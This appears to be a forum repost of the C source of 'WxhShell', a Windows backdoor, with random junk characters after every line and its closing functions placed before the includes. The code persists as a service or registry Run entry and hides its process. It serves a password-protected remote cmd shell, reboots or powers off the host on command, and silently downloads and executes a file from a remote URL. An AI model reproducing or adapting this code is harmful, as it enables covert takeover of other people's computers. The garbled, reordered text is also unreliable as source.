    closesocket(wsh); D1;H,  
    ExitThread(0); EQ-r  
    } ^9%G7J:vGO  
    break; OySIp[{tJ  
    } S2kFdx*Zf  
  // 获取shell 0g,;Yzm  
  case 's': { ?V4?r2$c  
    CmdShell(wsh); yJ c#y   
    closesocket(wsh); 93$'PwWgiF  
    ExitThread(0); TIbiw  
    break; M^AwOR7<  
  } Ya<S/9c  
  // 退出 9i*t3W71]  
  case 'x': { WId"2W3M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L%}k.)yev  
    CloseIt(wsh); zp:kdN7!^  
    break; KaNi'=nW  
    } P hs4]!  
  // 离开 ?{NP3  
  case 'q': { JcL4q\g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'c*Q/C;  
    closesocket(wsh); { Iy<iV  
    WSACleanup(); Aw~ =U!  
    exit(1); \1cay#X  
    break; zc01\M  
        } 9E5Ec~l  
  } N DZ :`D  
  } zePVB -@u  
}:<`L\8q\  
  // 提示信息 ? C1.g'}7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zP$0B!9  
} d]{wZ#x  
  } @E;'Ffo  
|T\`wcP`q  
  return; OC34@YUj[  
} &TJMopVn  
n}/?nP\%  
// shell模块句柄 :,Z'/e0&  
int CmdShell(SOCKET sock) : 8dQ8p;  
{ }Q&zYC]d  
STARTUPINFO si; /~~aK2{^X~  
ZeroMemory(&si,sizeof(si)); (k/[/`3ST  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oS6dcJHf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FcVQ_6  
PROCESS_INFORMATION ProcessInfo; ntR@[)K  
char cmdline[]="cmd"; R+{QZ'K.qg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w=Ai?u  
  return 0; ~Cc%!4f'  
} HYU-F_|N=  
WzG]9$v &  
// 自身启动模式 (K9pr>le  
int StartFromService(void) KYa}k0tVAp  
{ &O8vI ,M  
typedef struct k{\wjaf)  
{ RP[^1  
  DWORD ExitStatus; p[oR4 HWr  
  DWORD PebBaseAddress; !|4fww  
  DWORD AffinityMask; eb1WTK@  
  DWORD BasePriority; "#}Uh  
  ULONG UniqueProcessId; :&SvjJR  
  ULONG InheritedFromUniqueProcessId; stGk*\>U'  
}   PROCESS_BASIC_INFORMATION; z`g4<  
ox:m;-Ml?_  
PROCNTQSIP NtQueryInformationProcess; S $j"'K  
mnzB90<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Yr!@pHy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E>LZw>^Y J  
7x> \/l(  
  HANDLE             hProcess; eBT+|  
  PROCESS_BASIC_INFORMATION pbi; !m]_tB  
iA.:{^_)09  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7Eb | AR  
  if(NULL == hInst ) return 0; 9 +1}8"~  
lZ,w#sqbY  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .+3~ w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0G; b+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (1%O;D.*?{  
%"[`   
  if (!NtQueryInformationProcess) return 0; A4K8DP  
~K$dQb])  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pzt 5'O@dA  
  if(!hProcess) return 0; G^1 5V'*  
fEJF3<UF&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Mi^/`1  
i<\WRzVT  
  CloseHandle(hProcess); xaN[ru@  
_ASyGmO{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }[;{@Zn  
if(hProcess==NULL) return 0; ,vDSY N6  
J;DTh ]z?:  
HMODULE hMod; \Gl>$5np  
char procName[255]; tD^$}u6  
unsigned long cbNeeded; V$Zl]f$S  
zp'Vn7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tkIpeL[d  
4s@oj  
  CloseHandle(hProcess); q<XleC  
V}aZ}m{J  
if(strstr(procName,"services")) return 1; // 以服务启动 zhZ!!b^6<  
XpH d"(*  
  return 0; // 注册表启动 4e20\q_{  
} /1BqC3]tL  
L#k`>Qn2  
// 主模块 jvQpf d  
int StartWxhshell(LPSTR lpCmdLine) $Wn!vbL  
{ e;8nujdG"  
  SOCKET wsl; *";O_ :C!  
BOOL val=TRUE; =G\N1E  
  int port=0; dy.U;  
  struct sockaddr_in door; G2 0   
 9dCf@5]  
  if(wscfg.ws_autoins) Install(); wiP )"g.t  
&gdhq~4#  
port=atoi(lpCmdLine); fB= j51Lw  
s}lp^Uh=  
if(port<=0) port=wscfg.ws_port; " ?=$(7uc  
3f-J%!aH  
  WSADATA data; ">FuCvQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E#n=aY~u-  
exxH0^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o`M.v[O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); cU_:l.b  
  door.sin_family = AF_INET; P,<pG[^K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #_kV o3  
  door.sin_port = htons(port); rVM?[_'O  
ne|N!!Dmk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KY+BXGW*  
closesocket(wsl); r7+Ytr  
return 1; AhU   
} $O^"O Q_@  
3S"kw  
  if(listen(wsl,2) == INVALID_SOCKET) { "ph[)/u;  
closesocket(wsl); Gt$PBlq0  
return 1; VXO.S)v2J  
} b *Ca*!  
  Wxhshell(wsl); y_M,p?]^,  
  WSACleanup(); n{"e8vQx  
.cK<jF@'  
return 0; Ay|K>8z   
WelB"L  
} &hnKBr(Lw  
,In}be$:  
// 以NT服务方式启动 %\B@!4]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) " +A8w  
{ ^WUG\@B  
DWORD   status = 0; ,.i)(Or  
  DWORD   specificError = 0xfffffff; lZJbQ=K{  
a{\<L/\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aa&\HDh*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e=Q{CsP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '8c-V aa  
  serviceStatus.dwWin32ExitCode     = 0; B *otqu z  
  serviceStatus.dwServiceSpecificExitCode = 0; W3A9uk6  
  serviceStatus.dwCheckPoint       = 0; fl+2 '~  
  serviceStatus.dwWaitHint       = 0; )\+1*R|H}  
+jyWqld.K1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Su]p6B  
  if (hServiceStatusHandle==0) return; g|<$ \}  
evlz R/  
status = GetLastError(); ^oDSU7j5,  
  if (status!=NO_ERROR) ]5+<Rqdbg  
{ A Eo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -Q" N;&'[&  
    serviceStatus.dwCheckPoint       = 0; j7qGZ"8ak  
    serviceStatus.dwWaitHint       = 0; "$U!1  
    serviceStatus.dwWin32ExitCode     = status; {7^D!lis  
    serviceStatus.dwServiceSpecificExitCode = specificError; qsHjqK@(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K9c5HuGy  
    return; QBLha']'%  
  } QygbfW6u  
|g!3f  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6Gh3r  
  serviceStatus.dwCheckPoint       = 0; kz^?!l)X0  
  serviceStatus.dwWaitHint       = 0; dPmNX-'7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :y^%I xs{1  
} V%JG :'6L  
a[7 Lqu  
// 处理NT服务事件,比如:启动、停止 1{?5/F \ +  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,2]a<0m  
{ O_^;wey0}?  
switch(fdwControl) M"E7= J  
{ A;gU@8m  
case SERVICE_CONTROL_STOP: CYZ0F5+t  
  serviceStatus.dwWin32ExitCode = 0; c63yJqiW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %Iv*u sXP  
  serviceStatus.dwCheckPoint   = 0; UJk/Lxv  
  serviceStatus.dwWaitHint     = 0; 6Jd.Eg ~A7  
  { {qb2!}FQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h.)o4(bO  
  } O_^t u?x  
  return; rf YFS96  
case SERVICE_CONTROL_PAUSE: siD/`T&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -HUlB|Q8r  
  break; 0tEe $9eK@  
case SERVICE_CONTROL_CONTINUE: dr]Pns9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |yVveJ  
  break; 3pjK`"Nmz\  
case SERVICE_CONTROL_INTERROGATE: xH>2$  ;f  
  break; abkt&981K+  
}; hv#|dI=kZR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rixt_}aE  
} s> JWNP  
'ARbJ1a  
// 标准应用程序主函数 Fm4)|5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LyG&FOf?  
{ M&^Iun  
MhZ\]CAs9  
// 获取操作系统版本 mH /9J  
OsIsNt=GetOsVer(); maVfLVx-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zx 5Ue#I  
\7] SG  
  // 从命令行安装 Z Z9D6+R  
  if(strpbrk(lpCmdLine,"iI")) Install(); UQ}#=[)2e  
VQ^}f/A  
  // 下载执行文件 oP_}C[  
if(wscfg.ws_downexe) { T[ltOQw?Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =_Ip0FfK!  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5LzP0F U  
} $HP<C>^Z8  
DLd1Cl:"~:  
if(!OsIsNt) { '|@?R|i0  
// 如果时win9x,隐藏进程并且设置为注册表启动  giORc  
HideProc(); ]4eIhj?  
StartWxhshell(lpCmdLine); d'k99(vy  
} 5aJd:36I  
else {3eg4j.Z  
  if(StartFromService()) Z~v-@  
  // 以服务方式启动 {8T/;K@  
  StartServiceCtrlDispatcher(DispatchTable); tO+Lf2Ni+  
else Eal*){"<,?  
  // 普通方式启动 N;R I A  
  StartWxhshell(lpCmdLine); Pzte!]B  
^0HgE;4  
return 0; nd,2EX<bE  
} >!W H%J  
GBYwS{4  
/Jf}~}JP  
HwZ"l31  
=========================================== >>%E?'9A  
OCEhwB0  
GD0Q`gWNe  
Cq[<CPAS  
Zmz $ hr  
_&e$?hY  
" cf,^7,-`"  
Iad&Z8E  
#include <stdio.h> _B7+n"t\r  
#include <string.h> xjh(;S'  
#include <windows.h> @{U@?6eZ  
#include <winsock2.h> gN .n _!  
#include <winsvc.h> /a }` y  
#include <urlmon.h> mr>dZ)  
Yht |^ =a  
#pragma comment (lib, "Ws2_32.lib") YK>?;U+|  
#pragma comment (lib, "urlmon.lib") @t2S"s$m  
zKfY0A R  
#define MAX_USER   100 // 最大客户端连接数 #=,c8" O  
#define BUF_SOCK   200 // sock buffer ET;-'vd  
#define KEY_BUFF   255 // 输入 buffer DLPg0>;jl  
=0mn6b9-=  
#define REBOOT     0   // 重启 ={\9-JJhE  
#define SHUTDOWN   1   // 关机 65l9dM2  
MG vp6/Pd  
#define DEF_PORT   5000 // 监听端口 X#Hl<d2  
"'~&D/7  
#define REG_LEN     16   // 注册表键长度 <=]:ED $V@  
#define SVC_LEN     80   // NT服务名长度 &M7AM"9  
Y'yGhpT~  
// 从dll定义API g}$B4_sY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t8.^YTI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r*UE>_3J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _ ($U\FW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #6@4c5{2=4  
lBLL45%BIN  
// wxhshell配置信息 #N'bhs  
struct WSCFG { H18pVh  
  int ws_port;         // 监听端口 aSIoq}c(  
  char ws_passstr[REG_LEN]; // 口令 m8Rt>DY  
  int ws_autoins;       // 安装标记, 1=yes 0=no d "25e"(~F  
  char ws_regname[REG_LEN]; // 注册表键名 t:YMF$Z  
  char ws_svcname[REG_LEN]; // 服务名 %7 $X *  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 byPqPSY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \: R Akf<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Rbcu5.6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (Q"~bP{F  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 84/#,X!=s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q-KBQc  
C?g<P0h  
}; a1z*Z/!5  
P98g2ak  
// default Wxhshell configuration yT[)V[}  
struct WSCFG wscfg={DEF_PORT, "] ]aF1  
    "xuhuanlingzhe", \S>GtlQbn  
    1, ,Bl_6ZaL  
    "Wxhshell", MP~+@0cv  
    "Wxhshell", d(C5i8d  
            "WxhShell Service", x!fgZr{  
    "Wrsky Windows CmdShell Service", :XB^IyO-A  
    "Please Input Your Password: ", Zou;o9Ww  
  1, JG@Zb}b  
  "http://www.wrsky.com/wxhshell.exe", AE=E"l1]  
  "Wxhshell.exe" 6Oy6r  
    }; meZZQ:eSl  
6foiN W+  
// 消息定义模块 2:&L|;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 04:QEC"9mj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; + aWcK6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %rO)w?  
char *msg_ws_ext="\n\rExit."; 0a:@DOzT  
char *msg_ws_end="\n\rQuit."; |OIU)53A-  
char *msg_ws_boot="\n\rReboot..."; eg"A?S  
char *msg_ws_poff="\n\rShutdown..."; _7 ^:1i~:.  
char *msg_ws_down="\n\rSave to "; o_&Qb^W  
[= Xb*~  
char *msg_ws_err="\n\rErr!"; s?PB ]Tr  
char *msg_ws_ok="\n\rOK!"; 5 Q,j+  
mt4X  
char ExeFile[MAX_PATH]; &}d5'IRT  
int nUser = 0; )gV @6w  
HANDLE handles[MAX_USER]; $?u LFD  
int OsIsNt; Xt!wO W  
UQjYWXvi  
SERVICE_STATUS       serviceStatus; T$Z}1e]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o0TB>DX$`  
[Xww`OUsh  
// 函数声明 Fi# 9L  
int Install(void); o90[,  
int Uninstall(void); Zi<(>@z2  
int DownloadFile(char *sURL, SOCKET wsh); ?=b#H6vs  
int Boot(int flag); R| XD#bG  
void HideProc(void); ysFp$!9Ux  
int GetOsVer(void); 4GS:kfti  
int Wxhshell(SOCKET wsl); M,we,!B0  
void TalkWithClient(void *cs); X39%O'  
int CmdShell(SOCKET sock); zm#%]p80f  
int StartFromService(void); h{^MdYJ  
int StartWxhshell(LPSTR lpCmdLine); #wJ^:r-c`  
zKThM#.Wa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YTg8Zg-Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ps*iE=D  
(O/W`qo  
// 数据结构和表定义 rdH^"(  
SERVICE_TABLE_ENTRY DispatchTable[] = d}wE4(]b  
{ 3?TUt{3g  
{wscfg.ws_svcname, NTServiceMain}, @eYD@!  
{NULL, NULL} <g64N  
}; ~I]aUN  
WLH ;{  
// 自我安装 f/{ClP.  
int Install(void) q[x|tO  
{ &D&U!3~(  
  char svExeFile[MAX_PATH]; _5o5/@  
  HKEY key; % @!hf!  
  strcpy(svExeFile,ExeFile); gp+@+i>b+[  
be [E^%  
// 如果是win9x系统,修改注册表设为自启动 p{&o{+c  
if(!OsIsNt) { =FQH5iSd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \b#`Ahf`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1w+)ne_&  
  RegCloseKey(key); 7gREcL2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fn8|@)J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  3bHB$n  
  RegCloseKey(key); C1OiMb(:  
  return 0; 6 kD.  
    } [S0wwWU |0  
  } eL [.;_  
} I")mg~f  
else { }/jWa |)f  
&td   
// 如果是NT以上系统,安装为系统服务 I(j$^DA.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^ZFK:|Ju  
if (schSCManager!=0) 3teP6|K'g  
{ HT6$|j  
  SC_HANDLE schService = CreateService eKRE1DK  
  ( <Vh }d/  
  schSCManager, W9S6 SO^\  
  wscfg.ws_svcname, Yi <1z:\  
  wscfg.ws_svcdisp, sYB2{w   
  SERVICE_ALL_ACCESS, Y4[oa?G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y s[z[  
  SERVICE_AUTO_START, 1JV-X G6  
  SERVICE_ERROR_NORMAL, Nl^u A  
  svExeFile, Z7k ku:9  
  NULL, (4/W)L$  
  NULL, ei~f1$zc#h  
  NULL, w Ju9.  
  NULL, { PS0.UZ  
  NULL &g]s@S|%  
  ); *hh9 K  
  if (schService!=0) B?4Iu)bCxI  
  { Cv;#8Wj}  
  CloseServiceHandle(schService); {: =]J4]  
  CloseServiceHandle(schSCManager); Ql"~ z^L  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7tne/Yz  
  strcat(svExeFile,wscfg.ws_svcname); v`U;.W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g*!1S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q9c-UQB(!  
  RegCloseKey(key); *d31fBCk%  
  return 0; 0D0uzUD-  
    } /x\~ 5cC  
  } <`NtTG  
  CloseServiceHandle(schSCManager); 6NQ`IC  
} QQD7NN>  
} E`]un.  
Iu^I?c[  
return 1; z'\BZ5riX<  
} d+"F(R9  
>O0<u  
// 自我卸载  )|W6Z  
int Uninstall(void) PJ,G_+b!  
{ =Z..&H5i  
  HKEY key; 8!MVDp[|"  
+jO#?J  
if(!OsIsNt) { ]$Q@4=fb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o\fPZ`p-m~  
  RegDeleteValue(key,wscfg.ws_regname); /?a9g>G%N  
  RegCloseKey(key); i O$ ?No  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]ZH6 .@|  
  RegDeleteValue(key,wscfg.ws_regname); /l8w b~vl  
  RegCloseKey(key); <- R%  
  return 0; 8"rK  
  } W,:j >v g  
} #TcX5  
} XANJA  
else { Oq(FV[N7t  
{c7@`AV]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }N:QB}7'_  
if (schSCManager!=0) ONUa7  
{ O9RnS\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !uA'0U?ky  
  if (schService!=0) R<^E?FI   
  { `%~f5<  
  if(DeleteService(schService)!=0) { \"$q=%vD  
  CloseServiceHandle(schService); S_s;foT  
  CloseServiceHandle(schSCManager); 6=x]20  
  return 0; ]qx!51S  
  } gx2v(1?S  
  CloseServiceHandle(schService); ^ '_Fd  
  } 2o 7o~r  
  CloseServiceHandle(schSCManager); IvI;Q0E-3  
} 4-9cp=\PE  
} ;zSV~G6-  
p*JP='p  
return 1; DLO#_t^v.  
} rLbFaLeQ  
'=d y =  
// 从指定url下载文件 rMJ4w['J=  
int DownloadFile(char *sURL, SOCKET wsh) V'9OGn2v  
{ mXu";?2  
  HRESULT hr; ~8'HX*B]z  
char seps[]= "/"; 0:x+;R<P*w  
char *token; QRF:6bAxsL  
char *file; X.rbJyKe  
char myURL[MAX_PATH]; S)"vyGv  
char myFILE[MAX_PATH]; $>Gf;k  
CljEC1S#  
strcpy(myURL,sURL); & fnfuU$   
  token=strtok(myURL,seps); @;[.#hK  
  while(token!=NULL) <!X]$kvG  
  { 1M[|9nWUC  
    file=token; #Zn+-Ih  
  token=strtok(NULL,seps); K%SfTA1TCB  
  } uuy0fQQ8ti  
M[e{(iQ:  
GetCurrentDirectory(MAX_PATH,myFILE); 3>^B%qg6  
strcat(myFILE, "\\"); ~\zIb/ #  
strcat(myFILE, file); Xg}~\|n  
  send(wsh,myFILE,strlen(myFILE),0); NNRKYdp,  
send(wsh,"...",3,0); Y1BxRd?D  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #QW% ;^  
  if(hr==S_OK) {Hw$`wL  
return 0; uW,rmd  
else ! n?j)p.  
return 1; ],wzZhA  
6|1#Prj  
} "||G`%aO+t  
S7CD#Y[s  
// 系统电源模块 aQ)g7C  
int Boot(int flag) uJ,I6P~9  
{ +jp^  
  HANDLE hToken; ET3+07  
  TOKEN_PRIVILEGES tkp; [+:KIW<  
$U%N$_k?  
  if(OsIsNt) { ";59,\6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); GU)NZ[e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =}W)%Hldr.  
    tkp.PrivilegeCount = 1; dr4m}v.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y(Q.uYz*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cp+eh  
if(flag==REBOOT) { iLFhm4.PO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *Rj*%S  
  return 0; |CjdmQ u  
} Pu!%sGjD  
else { om,=.,|Ld  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v=+>ids  
  return 0; DFqVZ   
} m*TJ@gI*t  
  } wW^3/  
  else { GoKMi[b  
if(flag==REBOOT) { Yc V*3`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) " gi 1{  
  return 0; rW9ULS2 d  
} ]F,v#6qi  
else { FDRpK 5cw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $e![^I]`  
  return 0; 3 jay V  
} Hd=!  
} FYeUz$/  
<}Rr C#uiA  
return 1; 7o64|@'j  
} N/ mC,7Q  
y]E ?\03"  
// win9x进程隐藏模块 affig  
void HideProc(void) ^'aMp}3iu  
{ YPsuG -is  
1)wzSEV@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <rFY$ ?x  
  if ( hKernel != NULL ) ||k^pzj%  
  { Mo+HLN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 68jq1Y Pv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D'+kzb@  
    FreeLibrary(hKernel); &`[Dl(W  
  } b 7bbrR8  
|7l*  
return; \)vxZ!  
} hSD uByoi  
9l :Bum)9  
// 获取操作系统版本 ?I.<mdhN#t  
int GetOsVer(void) $ OMGo`z  
{ ByPzA\;e  
  OSVERSIONINFO winfo; 9rsty{J8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |>P`Gl]E  
  GetVersionEx(&winfo); w/HGmVa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S_B;m1  
  return 1; !jxz2Q  
  else 9 &~Rj 9  
  return 0; D0=H&Z[  
} )/F1,&/N`e  
lvz&7Zb  
// 客户端句柄模块 SD^6ib/]b  
int Wxhshell(SOCKET wsl) ?gMxGH:B.&  
{ M[R\URu8  
  SOCKET wsh; RWi~34r  
  struct sockaddr_in client; ~Xg@,?Zr  
  DWORD myID; uiIY,FL$  
z`D;8x2b  
  while(nUser<MAX_USER) .q1OT>  
{ fK|F`F2V  
  int nSize=sizeof(client); ,IW$XD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I2=?H <  
  if(wsh==INVALID_SOCKET) return 1; 'i|z>si[*  
?B2 T'}~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \P_1@sH=  
if(handles[nUser]==0) *@r)3  
  closesocket(wsh); b_]14 v  
else KS/1ux4x  
  nUser++; {g *kr1JM  
  } F$FCfP7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (!U5B Hnd  
S/|'ggC  
  return 0; 0'm4 ) \  
} P2h}3%cJq  
nJ`JF5tI  
// 关闭 socket >g@;`l.Z#  
void CloseIt(SOCKET wsh) x62 b=k}  
{ Z4/rqU  
closesocket(wsh); 4w:_4qyb  
nUser--; b<B|p|  
ExitThread(0); eGS1% [  
} f_r1(o 5:Y  
hgCeU+H  
// 客户端请求句柄 ;Bo{.916  
void TalkWithClient(void *cs) c_]$UM[7L  
{ \ qc 8;"@  
YB h :  
  SOCKET wsh=(SOCKET)cs; 8]Xwj].^C  
  char pwd[SVC_LEN]; fMn7E8.  
  char cmd[KEY_BUFF]; -< jb>8  
char chr[1]; %QUV351H  
int i,j; f$mfY6v  
'Lft\.C  
  while (nUser < MAX_USER) { UDHk@M  
m-lUgx7  
if(wscfg.ws_passstr) { *s/sF@8<X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #e0tT+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #~54t0|Cd>  
  //ZeroMemory(pwd,KEY_BUFF); ip4:px-  
      i=0; R ;^[4<&  
  while(i<SVC_LEN) { M=$y_9#  
AG2iLictv  
  // 设置超时 wxARD3%  
  fd_set FdRead; IBY3QG  
  struct timeval TimeOut; L=Q- r[  
  FD_ZERO(&FdRead); >De\2gbJ  
  FD_SET(wsh,&FdRead); h[%`'(  
  TimeOut.tv_sec=8; @6>R/]  
  TimeOut.tv_usec=0; :cop0;X:Wm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m,v"N%k,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '|<+QAc  
BclZsU=xn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z.$ncP0s  
  pwd=chr[0]; ehI*cf({  
  if(chr[0]==0xd || chr[0]==0xa) { 6#O n .Q  
  pwd=0; 0O?B!Jr]RM  
  break; L@w|2  
  } X~Uvh8O  
  i++; Aj.TX%}`h  
    } l}%!&V0  
kssS,Ogf\_  
  // 如果是非法用户,关闭 socket s,N%sO;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {Q?AIp6u|  
} L 4'@f  
`h( JD$w  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f3s0.G#l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q(e&{pbM)  
db:b%1hk:  
while(1) { 0]{h,W3]@[  
*@l NL=%R  
  ZeroMemory(cmd,KEY_BUFF); oJR0sbikP  
9k ]$MR  
      // 自动支持客户端 telnet标准   (1fE^KF@f  
  j=0; C',D"  
  while(j<KEY_BUFF) { ;_M .(8L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,2DKphh  
  cmd[j]=chr[0]; I)V2cOrXM  
  if(chr[0]==0xa || chr[0]==0xd) { 1?`,h6d*=  
  cmd[j]=0; CN\SxK`,  
  break; @P6K`'.0  
  } C 7YZ;{t  
  j++; !E,$@mvd  
    } MftW^7W-  
NTuS(7m  
  // 下载文件 6DD^h:*>  
  if(strstr(cmd,"http://")) { U2=5Nt5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K0yTHX?(.  
  if(DownloadFile(cmd,wsh)) zFqH)/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U5z^R>k  
  else +,9I3Dq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EQ8jxr<p  
  } YQ g03i  
  else { z9U<Z^4z+  
AtYe\_9$C  
    switch(cmd[0]) { FAJ\9  
  [#$-kd~  
  // 帮助 OqtQLqN  
  case '?': { 1`r 4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >,Zjlkh3  
    break; /$'tO3  
  } 49^;T;'v  
